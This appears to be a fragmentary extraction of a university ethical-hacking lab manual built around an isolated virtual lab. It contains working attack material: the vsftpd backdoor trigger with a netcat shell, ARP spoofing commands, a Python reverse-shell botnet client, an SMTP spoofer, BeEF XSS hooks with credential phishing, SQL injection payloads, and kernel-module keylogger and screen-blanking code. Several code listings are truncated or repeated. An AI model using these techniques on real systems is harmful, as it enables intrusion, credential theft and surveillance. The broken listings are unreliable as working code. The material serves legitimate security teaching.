Ethical Hacking Manual
Ethical Hacking Manual
Ethical Hacking Manual
List of Tables 5
List of Figures 7
1 Preface 11
1.1 Research Assistants . . . . . . . . . . . . . . . . 11
2 Getting Setup 13
2.1 Introduction . . . . . . . . . . . . . . . . . . . . 13
2.2 Setting Up VirtualBox . . . . . . . . . . . . . . . 14
2.3 Setting Up pfSense . . . . . . . . . . . . . . . . . 15
2.4 Setting Up Metasploitable . . . . . . . . . . . . . 23
2.5 Setting Up Kali Linux . . . . . . . . . . . . . . . 24
2.6 Setting Up Windows Server . . . . . . . . . . . . 27
2.6.1 Getting the IP address of the metasploitable
server . . . . . . . . . . . . . . . . . . . . 28
2.7 Your First Hack . . . . . . . . . . . . . . . . . . 30
1
2 0 Contents
4.2 Context . . . . . . . . . . . . . . . . . . . . . . . 41
4.3 Network Setup . . . . . . . . . . . . . . . . . . . 42
4.4 Wireshark Installation . . . . . . . . . . . . . . . 43
4.5 Getting Started with Wireshark . . . . . . . . . 44
4.5.1 Select an Interface . . . . . . . . . . . . . 44
4.5.2 Getting Started . . . . . . . . . . . . . . . 44
4.5.3 Analyzing Network Trafffic . . . . . . . . 45
4.5.4 Introduction . . . . . . . . . . . . . . . . 47
4.6 (WIP) TCP Dump on PFSense . . . . . . . . . . 47
4.6.1 Overview . . . . . . . . . . . . . . . . . . 47
4.6.2 TCPDump Command . . . . . . . . . . . 48
4.6.3 Port 80 . . . . . . . . . . . . . . . . . . . 48
4.6.4 Capturing Traffic on Port 80 . . . . . . . 48
4.6.5 Alternate Configurations . . . . . . . . . . 52
7 TLS Attack 65
7.1 Background . . . . . . . . . . . . . . . . . . . . . 65
7.2 Basic TLS Attack Ways of Obtaining the Key . . 65
7.2.1 Troubleshooting . . . . . . . . . . . . . . 67
7.2.2 Attack Logistics . . . . . . . . . . . . . . 69
7.3 MITM TLS Attack . . . . . . . . . . . . . . . . 70
7.3.1 MITMPROXY . . . . . . . . . . . . . . . 70
0.0 Contents 3
11 Scanning Targets 93
11.1 Introduction . . . . . . . . . . . . . . . . . . . . 93
11.2 WhoIs . . . . . . . . . . . . . . . . . . . . . . . . 93
11.3 The Harvester . . . . . . . . . . . . . . . . . . . 94
11.4 Maltego: . . . . . . . . . . . . . . . . . . . . . . 94
11.5 List of comprised passwords. . . . . . . . . . . . 95
13 Cross-Site Attacks 99
13.1 Background: Cross Site Scripting (XSS) Attacks 99
13.1.1 Stored Cross Site Scripting Attacks . . . . 99
13.1.2 Reflected Cross Site Scripting Attacks . . 100
13.2 XSS Beef Payload . . . . . . . . . . . . . . . . . 101
4 0 Contents
5
List of Figures
7
8 0 List of Figures
5.1 The figure above shows how the TCP client and
server communicate through sockets over the net-
work . . . . . . . . . . . . . . . . . . . . . . . . . 56
13.1 The figure above shows the log in page of DVWA 100
13.2 The figure above shows the start up terminal win-
dow associated with beef XSS window . . . . . . 102
13.3 Shows the Command and Control Section of the
google phishing attack . . . . . . . . . . . . . . . 103
13.4 The figure above shows the updated XSS URL on
the right . . . . . . . . . . . . . . . . . . . . . . . 104
13.5 Sample Fake Google Login Screen . . . . . . . . . 104
13.6 The figure above shows the credentials that have
been stolen using the phishing attack . . . . . . . 105
13.7 The figure above shows the change password form
and the new password in the URL . . . . . . . . . 106
13.8 Command to change the password of the user in
DVWAL . . . . . . . . . . . . . . . . . . . . . . . 107
14.1 The figure above shows the security level set to low 111
1
Preface
11
2
Getting Setup
2.1 Introduction
Welcome to the first step in your hacking journey. In this section
we will setup your lab environment. In particular, we will setup
five virtual machines:
• A pfSense Virtual Machine: An open source router/firewall
to protect the virtual machines.
• A Kali Linux Virtual Machine: The machine that contains
the hacking tools discussed in this book.
• A Windows Server Virtual Machine: The machine used
to simulate hacking through a server.
• Two Metasploitable Virtual Machines: The two machines
you will hack. One will be behind the Windows Server and the
other will not.
Since it is both unethical and illegal to hack into machines that
you don’t own, in this chapter we will be setting up a virtual net-
working environment in which we can perform ethical hacks. The
figure below shows an overview of the networking environment. In
this chapter we will be setting up five virtual machines: a pfSense
machine, a Kali Linux machine, a Windows Server machine, and
two Metasploitable machines. We will also be setting up two net-
works: a main internal network which is isolated from the internet
by the pfSense firewall and another internal network which is iso-
13
14 2 Getting Setup
lated from the main network behind a windows server. The second
setup will be used to explore attacks in which hackers must first
get past one machine to attack the network as is the case with the
firewalls.
sion. Once you have changed these three options, click continue.
FIGURE 2.5: This is how your virtual machine list should look
Step 11: Navigate to the “Storage” tab, then click on the disk
with a green plus icon shown below.
Step 12: On the screen that appears, click the “Add” button
located in the top left corner.
Step 13: A file browser should then open, navigate to the directory
where you extracted the pfSense ISO image and select it.
Step 14: Click the “Choose” button. You should see the ISO image
2.3 Setting Up pfSense 19
you just selected listed as a storage device for your virtual machine,
along with the .vdi hard disk image we previously created.
Setting Up Internal Networks
Your pfSense virtual machine should now be bootable (you can test
this by selecting the machine and clicking the start button). How-
ever, we still have to configure the main internal network before
we launch and configure pfSense
Step 1: Right click on pfSense in your list of virtual machines and
click on “Settings.”
Step 2: In the Network tab and under Adapter 1, make sure the
network adapter is enabled, and that it is attached to a Bridged
Adapter with the name as your wireless/ethernet card.
Step 3: Under Adapter 2, make sure it is enabled and attach it
to a Internal Network, which we will name “Internal LAN” (Local
Area Network). This will be the main internal network that will
connect pfSense to our virtual machines.
Step 4: Once you click “Okay,” this internal network should be
available to other created virtual machines.
Configuring pfSense
Now we are ready to launch pfSense and configure our virtual
router settings.
Step 1: Double click on pfSense in your list of virtual machines.
It should take some time to fully load.
Step 2: Once pfSense has loaded, you should be greeted with a
copyright and distrubtion notice screen. Hit enter to accept.
Step 3: On the next screen, hit enter again to install pfSense.
Step 4: You should see a progress bar extracting the necesarry
files for pfSense. Once it finishes you will be greeted with a prompt
asking if you would like to open a shell to make any changes to
the installation, select “No” and hit enter.
20 2 Getting Setup
Step 5: You will be met with another prompt asking if you would
like to reboot, select “Reboot” and hit enter.
Step 6: Once you reboot into pfSense, you should see a screen
similar to the one pictured below.
Step 5: Now that your Kali Linux machine is up and running, you
will also need to launch your Metasploitable virtual machine so
that you can attack it. Select the Metasploitable Virtual Machine
from the list in the Oracle VM Virtual Box Manager.
Step 6: Wait for the terminal to finish loading. Your virtual ma-
chine should display the Metasploitable logo. ( IMPORTANT:
Your mouse pointer my disappear, this is because the VM has
captured it. Press the Ctrl+Alt keys together to get your mouse
back)
FIGURE 2.17: The figure above shows the output of the netdis-
cover tool and the IP address of the metasploitable machine
FIGURE 2.18: The figure above shows terminal contain the IP-
address of the machine
vulnerable machine. The attack was activated when the attacker logged into th
username ending in :) and an invalid password. Once the attack was
activated, it opened a reverse shell on port 6200.
Reverse Shell: A reverse shell is a malicious program that con-
nects to an attacker’s machine, allowing the attacker to execute terminal
commands on the compromised machine. In a later lab we will write a
reverse shell.
Background A FTP (File Transfer Protocol) server is a program
that allows a user to upload and download files from a machine.
Step 1: Connect to the FTP server using telnet. Open the terminal
on your Kali Linux Machine and type the following commands.
Remember to add port number towards end: (Important: telnet is
an old technology and does no backspaces or deletes).
telnet [IPAddress of Your Metasploitable VM] 21
user Hacker:)
pass invalid
This is a part of a vulnerability that was placed in the open source
FTP server, by an unknown hacker. This hacker created this vul-
nerability by modifying the open source code for the vsFTP server,
to include a check for :) in the username field if a username in-
cluded a :) in the username, a backdoor was activated. So you
might be wondering, what is a backdoor? A backdoor is a pro-
gram, that an attacker places on a machine that gives the hacker
access to that machine having to log-in. In the step above, the
attacker is activating the backdoor. In the subsequent steps the
attacker is connecting to the backdoor running on port 6200 and
issuing commands to the terminal.
Step 2: Now that you have activated the back door, you can log-in
to get access to the terminal by connecting to the “backdoor” that
is running on 6200 using netcat. Enter the following commands to
gain access to the Metasploitable VM.
nc [IPAddress of venerable Machine] 6200
ls
32 2 Getting Setup
3.2 Background
Your laptop contains a network interface card which allows it to
connect to your wifi router. This card has a unique address, called
a MAC (Media Access Control) address which uniquely identifies
your laptop. When the router has information that it needs to
send your laptop, it labels this packet of information with your
labtop’s unique mac address, which it then broadcasts as an RF
signal. This RF signal is received by all the machines which are
connected to your router. When your laptop receives a packet it
checks the packet’s MAC address to see if the packet was intended
for it.
33
34 3 ARP (Address Resolution Protocol) Spoofing
3.3 IP-Addresses
If MAC address are used addressing packets, why do we need IP-
addresses? Networks are arranged in regions and hierarchies, in a
similar fashion to how countries are split into states and citys. IP-
addresses identify your machine’s place in these hierarchies. This
means that the network can inspect parts of the IP-address to
determine where to send the packet. It is important to note that
even though MAC address addresss packets they are only used to
send packets at the lowest level of these hierarchies.
When your laptop joins the network by connecting to a router,
the router determines your machine’s position in the hierarchy
and assigns it an IP-address, which your laptop associates with its
MAC address. This association is stored in an arp-table.
Step 3B
Install the dsniff tool. Dsniff contains several usefull tools for lis-
tening to network traffic. One of these tools is webspy which send
URL sniffed from a client to your browser so you can see them
in real-time as the infected machine surfs the web. In this capter
we will focus on the arspoof tool which execute an ARP spoofing
attack.
apt-get install dsniff
Step 4 A We first need to trick victim into believing that we are
router.
arpspoof -i eth0 -t VICTIMIP ROUTERIP
Here the VICTIMIP is the IP-address of the metaspotable ma-
chine.
Step 4 B
You need to also trick the router into believing that we are the
victim.
arpspoof -i eth0 -t ROUTERIP VICTIMIP
(Note: the spoofer needs to keep sending out the messages, because
the arp tables are periodically refereshed, you keep this terminal
open)
Step 5 On kali, in another terminal run:
urlsnarf -i eth0
38 3 ARP (Address Resolution Protocol) Spoofing
If you’ve done everything right, now you will see the traffic on the
attacker.
Step 6 B On the Kali machine you should see the URL of inter-
cepted request
Run your code on the Metasploitable machine; were you able suc-
cessfull detect the ARP spoofing attack?
4
Introduction to Wireshark and TCP
4.1 Introduction
Computers communicate over the network using packets. This
means that if we can intercept or spoof these packets we can learn
a lot about the user and their network traffic.
In this chapter you will get introduced to Wireshark. Wireshark is
a networking tool that allows you to capture all of the the outgoing
and incoming packets from your machine.
We’ll see how an attacker can (a) sniff or intercept packets on a
network and (b) intentionally mis-configure the client in order to
launch a man in the middle attack that will allow the attacker to
decrypt TLS packets.
4.2 Context
TLS is an encryption standard that is wildly popular for HTTP
communication over the Internet. TLS (Transport Security Layer)
is the new and preferred version of the now deprecated SSL (Secure
Sockets Layer). Many applications, primarily websites, can use
TLS to secure communications between their servers and clients.
This benefits both the service provider (server-side), and the end-
user (client-side). Attackers may intercept network packets by
“sniffing” for packets on network links between the two. However,
TLS encrypts all packets between the client and server such that
any third party attackers cannot make sense of the packets they
41
42 4 Introduction to Wireshark and TCP
4.5.4 Introduction
TCP stands for Transmission Control Protocol and is part of the
Transport layer in the Open Systems Interconnection (OSI) model.
TCP provides a connection-oriented transmission service unlike
User Datagram protocol (UDP) that provides a connectionless
transmission service. UDP is faster than TCP because it does not
provide any feedback about if segments were delivered succesfully
or not. TCP does send feeback thereby guaranteeing delivery of
segments. Therefore, a tcpdump intercepts those network packets
and displays them in their raw form. Step 9 Wireshark also let’s
you reconstruct the stream data from the packet stream by click-
ing on a packet and selecting follow->TCP stream. You should see
the HTML conresponding the page.
The Follow TCP Stream will look like the figure below:
4.6.3 Port 80
Port 80 is commonly assigned for Hypertext Transfer Protocol
(HTTP) communication. Therefore, it can be used to send and
receive HTML pages from Web servers.
5.1 Introduction:
In this lab we will learn the basics of socket programming by imple-
menting a reverse shell. We will then show how this reverse shell
can be used to implement a simple botnet.
55
56 5 TCP and Socket Programming Lab
FIGURE 5.1: The figure above shows how the TCP client and
server communicate through sockets over the network
#clientBot.py
from subprocess import Popen, PIPE # library used to run shell commands
from socket import * # library used to create sockets
serverName = sys.argv[1] # IP address of the attackers box
serverPort = 8000
#Create IPv4(AF_INET), TCPSocket(Sock_Stream)
clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((serverName, serverPort))
clientSocket.send('Bot reporting for duty'.encode())
command = clientSocket.recv(4064).decode()
# Wait for exit command
while command != "exit":
# Run the command in the shell
proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
# grab output from the pipe
result, err = proc.communicate()
# Send result back to serverBot
clientSocket.send(result)
command = (clientSocket.recv(4064)).decode() # Receive next command
clientSocket.close()
Step 4 Copy and paste the above code into the editor. Save the
file as “clientBot.py” in the botnet folder we created in step 2.
# serverBot.py
connectionSocket.shutdown(SHUT_RDWR)
connectionSocket.close()
Step 6 Open up the text editor again, copy/paste the above code,
and save the file as “serverBot.py” to the “botnet” the Desktop
folder you created earlier.
5.6 Running the reverse shell 59
5.6 Botnet
The example above discusses a single client server pair. How would
we extend so that a single machine could control serveral clients all
at once. This is exactly what happens in a botnet, serveral client
machines will connect to a single machine called the botnet master.
60 5 TCP and Socket Programming Lab
##Background
In this section we discuss the TLS security protocol in detail. We
will go through the protocol in detail we also use wireshark to look
at sample TLS session. For additonal details on TLS you can read
the TLS formal specification https://tools.ietf.org/html/rf
c5246#section-8.1.2.
61
62 6 Secure Sockets SSL and TLS
A(0) = seed
A(i) = HMAC_hash(secret, A(i-1))
HMAC = Hash-based Message Authentication Code.
return masterkey
6.4 Writing a SSL Client 63
import socket
import ssl
hostname = 'www.python.org'
context = ssl.create_default_context()
sock = socket.create_connection((hostname, 443))
secureSocket = context.wrap_socket(sock, server_hostname=hostname)
print(secureSocket.recvfrom(1024))
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain('/path/to/certchain.pem', '/path/to/private.key')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('127.0.0.1', 8443))
sock.listen(1)
secureSocket= context.wrap_socket(sock, server_side=True)
conn, addr = ssock.accept()
6.4 Challenge
Now that you have we discussed TLS you can try running SMTP
spoof over a TLS connection.
7
TLS Attack
7.1 Background
Whenever a user accesses a webpage over https, the encrypted
traffic is sent over a TLS socket. These TLS sockets are similar
to sockets that we looked at in Chapter 4. In this section, we will
show that an attacker can use a stolen key to decrypt the packets,
which are sent over an encrypted TLS socket.
65
66 7 TLS Attack
7.2.1 Troubleshooting
There are a number of things that must happen in the correct order.
You may have to make multiple attempts. The correct order is:
1. export $SSLKEYLOGFILE
2. start Wireshark and begin capturing packets
3. start the browser (using a bash shell in which
$SSLKEYLOGFILE is defined)
4. load an https page in the browser (ensure key log file is
created and filled with data)
5. stop capturing packets
6. manually inspect the packets to determine if TLS was
successfully decrypted
Here are a few finer details that you should be cognizant of.
• Wireshark lists packets as “TCP” if they are plaintext TCP pack-
68 7 TLS Attack
ets and also if they are TLS packets that were successfully de-
crypted via the key log file. TLS packets that are not decrypted
are listed as TLS.
• You may have to delete your browser cache if you make multiple
attempts. Reloading the same page will simply hit the cache and
will not generate most of the packets that contain the web page
data. Alternatively, on a second attempt visit a different URL.
• Wireshark needs to gather all the packets that occur. It is im-
portant that you start capturing packets before loading the https
page in the browser. Preferably you start capturing packets be-
fore starting the browser application entirely.
• In Wireshark you can right click one of the TCP packets and
select “follow TCP stream” to get a seamless dump of all the
information that was captured in the corresponding stream. If
you are viewing the correct stream, and the information was
successfully decrypted you should see something like this:
7.3 Basic TLS Attack Ways of Obtaining the Key 69
7.3.1 MITMPROXY
Step 1: For our MITM attack we’ll use a tool called “mitm-
proxy,” which will handle all of the masquerading and extracting
of TLS secrets [https://mitmproxy.org/]. Install mitmproxy if
you haven’t already.
sudo apt install mitmproxy
Before running mitmproxy, we want to setup the configuration file,
which unlike most linux software, is not automatically created.
Step 2: To create it and fill it with default values run the following
command:
mitmproxy --config >> ~/.mitmproxy/config.yaml
7.3 MITM TLS Attack 71
Now you can open and inspect this file to learn a bit about how
mitmproxy will operate. A few important default values include
• listen_port: 8080
• onboarding_host: mitm.it
• onboarding_port: 80
Step 3: Now run the command line version of mitmproxy. Note,
it does not require superuser permissions (unlike Wireshark).
mitmproxy
Step 4: While mitmproxy is running, open a web-browser and
navigate to the onboarding_host: mitm.it:80 You should see a
message like this:
main an important testing tool. You should also note that some
streams are now listed in the mitmproxy interface that it has been
running in terminal.
8.1 Background
For this lab you are going to perform an SMTP enumeration attack
on your Metasploitable VM, then build a simple email address
spoofer that implements the STMP protocol over TCP. Modern
mail servers have several solutions to make it more difficult to spoof
emails. However, the STMP protocol by itself does not check to
ensure that messages are coming from a valid server, or that an
email was actually created by the sender.
77
78 8 SMTP Enumeration and Email Spoofing
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT)) # Open socket on port
print(s.recv(size).decode()) # display response
s.send(b'HELO virginia.edu\n') # Send HELO fake.fr
print(s.recv(size).decode()) # display response
# send MAIL FROM:
1
mailto:[email protected]
8.4 Email Spoofing 81
def main(args):
smtpServer = args[1]
port = args[2]
fromAddress = args[3]
toAddress = args[4]
message = args[5]
sendMessage(smtpServer, port, fromAddress,
toAddress, message)
if __name__ == "__main__":
main(sys.argv)
2
mailto:[email protected]
9
Creating Trojans and Other Malicous Files
##Background
In this section we will discuss the process of
##Creating
###MSFVenom
###Take Screen Shot
83
84 9 Creating Trojans and Other Malicous Files
10.1 Background
In this first lab, we saw that it is possible to use the netdiscover
tool to find other machines on network. But how do we know
what vulnerabilities exist on these machines? In the previous lab
we told you what vulnerabilities existed, but how do you discover
and exploit these on your own. This is where Armitage and other
vulnerability scanners come in. Armitage is a GUI interface for
Metasploit (a tool we will look at in a later lab). Armitage al-
lows you to easily scan hosts for vulnerabilities and exploit these
vulnerabilities with only a few clicks.
85
86 10 Armitage: Easily Identify and Exploit Vulnerabilities
box icon. Select the Metapsloitable virtual machine and press the
play button.
Step 2: Click on the Armitage icon.
Step 3: You should see the setup screen show below. Click connect.
network.
Step 6 Notice that one of the machines has the same address and
metasploitable host from the first lab. Write click on this machine
and select scan. This will check all of the ports on the machine to
see if they are running any TCP or UDP applications. Once you
have completed the scan you will see a list of open ports on the
machine.
Step 7: Now that we have discovered some hosts and some open
ports, let’s scan the applications on these ports for vulnerabilities.
Click on the host that you want to scan. It will be highlighted by
a green box. Then click on Attacks→find Attacks.
A Hail Mary Attack tries every attack in an attempt to
break into to the system.
Step 9: Once the vulnerability scan has completed you will see
the exploitable vulnerabilities by right clicking on the host and
10.3 Exploiting a Host Using Armitage 89
selecting Attacks. The image below shows the ftp attack from our
first lab.
FIGURE 10.4: The figure above shows how to execute the vftpd
vulnerability
Step 3: You can now get shell access on the machine by right
clicking on the host and selecting shell1→interact. A Linux shell
will appear in the bottom section of Armitage.
FIGURE 10.6: The figure above shows how to get shell access
Searching is half the fun: life is much more manageable when thought of as a
11.1 Introduction
An important part of being a penetration tester is gathering as
much information about the systems as possible. In this lab we
will explore three information gathering tools.
• DNS Lookup tools
• Harvester
• Maltego
• Password Lists
11.2 WhoIs
Domain Registrars keep information on their host this information
is public available. The WHOIS linux command also you query this
information.
Step 1 Open the terminal and type: whois mit.edu
[Include screenshot]
The whois command will return the information that domain reg-
istrar has on the domain. To begin collecting formation on the an
their network.
93
94 11 Scanning Targets
11.4 Maltego:
The first tool that we will look at is maltego is a liny analysis tool
that allows us to analyze links between entities. These entities
could be websites, domains, networks.
Let’s get started by setting up Maltego.
Step 1 Click on the maltego icon in Kali Linux.
[Include Screen Shot]
Step 2 Create an account. Don’t use your readdress. Use http:
//www.mailinator.com to create a fake email account.
[You you get blocked, download Opera and enable the VPN. http
s://www.opera.com/computer/features/free-vpn
[Include Screen Shot]
11.5 List of comprised passwords. 95
12.1 Pivoting
##Domain controller In this lab we extend upd
##Golden Ticket Attacks (Kiwi)
97
13
Cross-Site Attacks
“Love all, trust a few, do wrong to none” - William Shakespeare, All’s Well
99
100 13 Cross-Site Attacks
FIGURE 13.1: The figure above shows the log in page of DVWA
Step 2: Once the framework starts you should see the screen be-
low:
If an attacker were to use the beef cross-site scripting framework
they would deploy it on a server that they have already compro-
mised. (so that the comprised machine could not be traced back to
102 13 Cross-Site Attacks
the attacker). In this lab we will simply deploy the beef framework
on our machine.
Step 3: Access the BeEF UI panel by opening Firefox and typing
http://127.0.0.1:3000/ui/panel
Step 4: You should see the UI screen below. Log-in to BeEF using
username: beef and password: beef.
Step 5: Copy the example script below. This contains the mali-
cious JavaScript:
<script src="127.0.0.1:3000/hook.js"> </script>
Step 5: Copy the example script below. This contains the mali-
cious
<script src="127.0.0.1:3000/hook.js"> </script>
This is a malicious script that we are going to use in our stored
cross- site scripting attack.
13.2 XSS Beef Payload 103
FIGURE 13.4: The figure above shows the updated XSS URL
on the right
Step 11: Click Execute and Navigate back to the tab in which you
originally performed the exploit. You should see the fake Google
login screen below. You might have to go to basic demo page (to see
the fake Google login screen) by clicking the link under ‘Getting
Started’
FIGURE 13.6: The figure above shows the credentials that have
been stolen using the phishing attack
FIGURE 13.7: The figure above shows the change password form
and the new password in the URL
“For the want of a nail the shoe was lost, For the want of a shoe
the horse was lost, For the want of a horse the rider was lost, For
the want of a rider the battle was lost, For the want of a battle the
kingdom was lost, And all for the want of a horseshoe-nail.”
- Benjamin Franklin
14.1 Background
In the previous lab we looked at the vsftpd ftp backdoor vulner-
ability that was maliciously injected into an open source imple-
mentation of a ftp server by hackers. What operating system or
services on machines don’t have any vulnerabilities? Then how do
you get access to machine? The Answer: through the web apps.
In this lab we will look at SQL Injection which is a vulnerability
that occurs when software developers incorrectly process parame-
ters that are used in SQL queries. SQL is a language that is used
to query tables in a database. For example, the following query
returns the first and last name for the user whose Social Security
Number is 555-5555-5555.
109
110 14 SQL Injection
This would allow the program to return the first name and last
name for any value of$ id
Vulnerability:Since the program is simply inserting the command string
into the SQL query, a hacker can edit the query by injecting her own. For
example if the hacker sets the value of = `UNION SELECT username,
password from users where ‘’ = ’ injecting this for value for id will result
in following query:
14.2.1 Background
The Dam Vunerable Web App (DVWA) is a web application that
was built to showcase common web vunerablity. Before we can
exploit the vulnerable we need to place the web app in a vunerable
state. The DVWA is running on the metasploitable machine. So
we to connect the machine and place the app in the vunerable
state before we begin, the SQL injection attack.
14.4 Your first manual SQL injection attack 111
FIGURE 14.1: The figure above shows the security level set to
low
14.4 Background.
Now that we have place DVWA in a vunerable state. We can now
use a project called SQL map to perform SQL injection on the web
app. This is a tool that is commonly used by attackers.
Step 1: Navigate to the SQL injection section tab in DVWA Linux
GOAL: We want to capture the URL that is associated with the SQL
injection.
Step 2: Open Developer Console by Clicking Ctrl-Shift-I. Click
on the network tab. (This will allow us to capture the request.
We could also use a proxy for this)
Step 3: Enter the value 1 in UserID box and click submit. Enter
a sample request.
Step 4: Select the GET request that was associated with the
submission and retrieve the url.
Step 5: You will also need the cookies that are associated with the
request when submitting the form. The cookie can be found in the
get request, within the cookie tab, or by inserting the command
“document.cookie” in the web console.
Step 6: To start SQLmap got to Applications→Database Assess-
ment→SQL Map
Step 7: Start SQLmap.
Step 8: Point SQL map at the URL discovered, with the cookie,
from your earlier capture as shown below
14.4 Background. 113
15.1 Context
This section of the manual focuses on attacks that can be launched
once an attacker is logged into a targeted machine. The immediate
goal is to elevate one’s own privileges.
regular user –> root user –> kernel level
This tutorial demonstrates how to insert code into the kernel with
root level privileges. Technically nothing in this section is an ex-
ploitation of a vulnerability. Everything here is “intended behav-
ior” on linux systems. However, user privilieges are generally kept
to a minimum for security reasons. Escalating one’s privileges al-
lows one to install software on the system, modify system configu-
ration, and access information.
115
116 15 Attacking A System Internally With Kernel Modules
“run,” rather they are event driven. But, kernel modules run in a
sort of super-privilege state. They can literally access and change
anything in the system.
First, install the kernel headers for your system. These are neces-
sary for the alternative #include statements to be used for kernel
module development and to build / compile the module. For the
Kali linux system setup in virtualbox in the previous sections of
this book, this can be done via the package manager. Run the
command:
sudo apt install linux-headers-5.4.0-kali4-all
Create a folder hello_module and in that folder create two files
hello.c and Makefile
student@kali:~/hello_module$ tree
.
��� hello.c
��� Makefile
0 directories, 2 files
15.2.1 hello.c
#include <linux/module.h>
#include <linux/kernel.h>
module_init(startup);
module_exit(shutdown);
15.3 Build and Run 117
MODULE_LICENSE("GPL");
This is the bare minimum necessary code for a Linux kernel mod-
ule.
15.2.2 Makefile
obj-m += hello.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
There are several other loglevel flags you can pass besides
KERN_ALERT which each have different semantic meaning.
• KERN_EMERG Emergency condition, system is probably dead
• KERN_ALERT Some problem has occurred, immediate atten-
tion is needed
• KERN_CRIT A critical condition
• KERN_ERR An error has occurred
• KERN_WARNING A warning
• KERN_NOTICE Normal message to take note of
• KERN_INFO Some information
• KERN_DEBUG Debug information related to the program
“lsmod” is a helpful tool that lists all currently loaded kernel mod-
ules.
When you remove your kernel module, the __exit function is
called and the other “Bye bye!” message is printed to the same
15.4 Video Bomb 119
places. To remove your lkm, use sudo rmmod hello. Note the in-
tentional absence of .ko
Further details for building your own LKMs can be found here:
http://tldp.org/LDP/lkmpg/2.6/html/c119.html
0 directories, 2 files
15.4.1 Makefile
The Makefile is identical except for the minor change from hello.o
to vbomb.o on the first line.
obj-m += vbomb.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
120 15 Attacking A System Internally With Kernel Modules
15.4.2 vbomb.c
The video bomb code itself is much different, but it has the same
entry and exit points.
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/pci.h>
unsigned int i;
struct pci_dev *dev;
struct resource resource;
15.4 Video Bomb 121
// Make sure that this resource describes I/O memory and is write
if(resource.flags & (IORESOURCE_MEM|IORESOURCE_MEM_WRITEABLE))
{
color_red(resource.start, resource.end);
}
}
}
else
{
printk(KERN_INFO "Device found was null!\n");
}
return 0;
}
module_init(startup);
module_exit(shutdown);
MODULE_LICENSE("GPL");
At this point you should be able to build and run. If you want you
can do that. But, before demonstrating that here in the manual,
let’s discuss some of the tricky / unfamiliar regions of the vbomb
code.
15.4.2.2 color_red()
You can easily recover from this state if you move the mouse
around, click blindly, and generally attempt to interact with the
UI, which is actually only hidden by the red color. Of course, it
has probably occured to you that you can modify this module to
do many more things besides painting the screen red.
WARNING Your milage may vary. The video bomb code has
been tested on a couple linux systems including the Kali linux
virtual machine setup used throughout this manual. However, it
has not been extensively tested and may crash or freeze linux ma-
chines with different hardware. It somewhat haphazardly assumes
that any / all memory found on all PCI VGA devices is safe to
color red. Actually, for different video cards memory might be used
for many other purposes in additiona to the frame buffer. Accord-
ing to the linux kernel paradigm a different kernel module should
be written for each video card.
126 15 Attacking A System Internally With Kernel Modules
15.5 Keylogger
One useful thing to do that is only possible from the kernel is to
intercept and record all key strokes made by the user. This can be
used to reveal for example, username + password combinations as
they are entered. By implementing a keylogger in the kernel, we
are able to intercept all keystrokes entered by the user stealthily,
and regardless of which application they’re using.
Create a new folder keylogger_module and in that folder create
two files keylogger.c and Makefile
student@kali:~/keylogger_module$ tree
.
��� Makefile
��� keylogger.c
0 directories, 2 files
15.5.1 Makefile
Again, the Makefile is identical except for the minor change from
hello.o to keylogger.o on the first line.
obj-m += keylogger.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
static const char* keymap[] = { "\0", "ESC", "1", "2", "3", "4", "5", "6", "7
"q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "["
"g", "h", "j", "k", "l", ";", "'", "`", "_SHIFT_", "\
You may have already noticed that the values are roughly in the
order of a ‘qwerty’ keyboard layout. Of course, the actual layout of
the keyboard keys is irrelavent and varies by region and preference.
This is the reason for the key code –> string translation. Put
this keymap definition at the top of your keylogger.c file.
The __init and __exit methods in this module are very short.
They simply register and unregister, respectfully, a keyboard
notifier_block struct. You may have also noticed that the
__init and __exit methods in this module have different names
(‘start’ and ‘end’ instead of ‘startup’ and ‘shutdown’). These names
are arbitrary.
static int __init start(void)
{
register_keyboard_notifier(&nb);
printk(KERN_ALERT "Keyboard Module Loaded!\n");
return 0;
}
fies the attributes, but they are all NULL until a module (like ours)
specifies values, like we have done below for the notifier_call
attribute. Specifying values for predefined structs is a common
pattern when programming in the linux kernel.
int notify_keypress(struct notifier_block *nb, unsigned long code, void *_par
{
struct keyboard_notifier_param *param;
param = _param;
if(code == KBD_KEYCODE)
{
if(param->down)
{
if(param->value > 0 && param->value < 53)
{
printk(KERN_INFO "Key pressed: %s\n", keymap[param->value]);
}
}
}
return NOTIFY_OK;
}
static const char* keymap[] = { "\0", "ESC", "1", "2", "3", "4", "5", "6", "7
130 15 Attacking A System Internally With Kernel Modules
"q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "["
"g", "h", "j", "k", "l", ";", "'", "`", "_SHIFT_", "\
param = _param;
if(code == KBD_KEYCODE)
{
if(param->down)
{
if(param->value > 0 && param->value < 53)
{
printk(KERN_INFO "Key pressed: %s\n", keymap[param->value]);
}
}
}
return NOTIFY_OK;
}
module_init(start);
module_exit(end);
MODULE_LICENSE("GPL");